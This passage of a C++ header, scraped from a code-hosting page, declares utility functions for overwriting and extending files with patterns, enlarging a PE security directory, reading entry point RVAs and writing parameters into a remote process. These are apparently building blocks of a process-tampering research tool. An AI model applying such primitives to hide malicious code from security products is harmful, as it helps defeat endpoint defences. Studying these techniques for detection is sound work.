/// <param name="PatternLength">
|
||||
/// Length of Pattern buffer.
|
||||
/// </param>
|
||||
/// <param name="FlushFile">
|
||||
/// Flushes file buffers after overwrite, optional, defaults to true.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the file content was overwritten.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT OverwriteFileContentsWithPattern(
|
||||
_In_ handle_t FileHandle,
|
||||
_In_ std::span<const uint8_t> Pattern,
|
||||
_In_ bool FlushFile = true);
|
||||
|
||||
/// <summary>
|
||||
/// Extends file to meet a new size writes a pattern to the extension.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// Target file to extend.
|
||||
/// </param>
|
||||
/// <param name="NewFileSize">
|
||||
/// New size of the file.
|
||||
/// </param>
|
||||
/// <param name="Pattern">
|
||||
/// Pattern to use to extend the target file with.
|
||||
/// </param>
|
||||
/// <param name="AppendedBytes">
|
||||
/// Number of bytes appended.
|
||||
/// </param>
|
||||
/// <param name="FlushFile">
|
||||
/// Flushes file buffers after extension, optional, defaults to true.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the file was extended.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT ExtendFileWithPattern(
|
||||
_In_ handle_t FileHandle,
|
||||
_In_ uint64_t NewFileSize,
|
||||
_In_ std::span<const uint8_t> Pattern,
|
||||
_Out_ uint32_t& AppendedBytes,
|
||||
_In_ bool FlushFile = true);
|
||||
|
||||
/// <summary>
|
||||
/// Overwrites a file from a given offset with a pattern.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// Target file to overwrite.
|
||||
/// </param>
|
||||
/// <param name="FileOffset">
|
||||
/// Offset to begin writing from.
|
||||
/// </param>
|
||||
/// <param name="Pattern">
|
||||
/// Pattern to use to extend the target file with.
|
||||
/// </param>
|
||||
/// <param name="WrittenBytes">
|
||||
/// Number of bytes written.
|
||||
/// </param>
|
||||
/// <param name="FlushFile">
|
||||
/// Flushes file buffers after overwrite, optional, defaults to true.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the file was overwritten.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT OverwriteFileAfterWithPattern(
|
||||
_In_ handle_t FileHandle,
|
||||
_In_ uint64_t FileOffset,
|
||||
_In_ std::span<const uint8_t> Pattern,
|
||||
_Out_ uint32_t& WrittenBytes,
|
||||
_In_ bool FlushFile = true);
|
||||
|
||||
/// <summary>
|
||||
/// Extends a PE file security directory by a number of bytes.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// Target file handle.
|
||||
/// </param>
|
||||
/// <param name="ExtendedBy">
|
||||
/// Number of bytes to extend the security directory by.
|
||||
/// </param>
|
||||
/// <param name="FlushFile">
|
||||
/// Flushes file buffers after extension, optional, defaults to true.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the security directory was extended. Failure if the file is
|
||||
/// not a PE file or does not have a security directory.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT ExtendFileSecurityDirectory(
|
||||
_In_ handle_t FileHandle,
|
||||
_In_ uint32_t ExtendedBy,
|
||||
_In_ bool FlushFile = true);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the image entry point RVA from a file.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// File to parse for the entry point RVA.
|
||||
/// </param>
|
||||
/// <param name="EntryPointRva">
|
||||
/// Set to the entry point RVA on success.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the PE image entry RVA is located.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT GetImageEntryPointRva(
|
||||
_In_ handle_t FileHandle,
|
||||
_Out_ uint32_t& EntryPointRva);
|
||||
|
||||
/// <summary>
|
||||
/// Writes remote process parameters into target process.
|
||||
/// </summary>
|
||||
/// <param name="ProcessHandle">
|
||||
/// Process to write parameters into.
|
||||
/// </param>
|
||||
/// <param name="DllPath">
|
||||
/// Dll path to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="ImageFileName">
|
||||
/// Image file name to write into the parameters.
|
||||
/// </param>
|
||||
/// <param name="CurrentDirectory">
|
||||
/// Current directory to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="CommandLine">
|
||||
/// Command line to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="EnvironmentBlock">
|
||||
/// Environment block to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="WindowTitle">
|
||||
/// Window title to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="DesktopInfo">
|
||||
/// Desktop info to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="ShellInfo">
|
||||
/// ShellInfo to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <param name="RuntimeData">
|
||||
/// Runtime data to write into the parameters, optional.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the remote process parameters are written.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT WriteRemoteProcessParameters(
|
||||
_In_ handle_t ProcessHandle,
|
||||
_In_ const std::wstring ImageFileName,
|
||||
_In_opt_ const std::optional<std::wstring>& DllPath,
|
||||
_In_opt_ const std::optional<std::wstring>& CurrentDirectory,
|
||||
_In_opt_ const std::optional<std::wstring>& CommandLine,
|
||||
_In_opt_ void* EnvironmentBlock,
|
||||
_In_opt_ const std::optional<std::wstring>& WindowTitle,
|
||||
_In_opt_ const std::optional<std::wstring>& DesktopInfo,
|
||||
_In_opt_ const std::optional<std::wstring>& ShellInfo,
|
||||
_In_opt_ const std::optional<std::wstring>& RuntimeData);
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user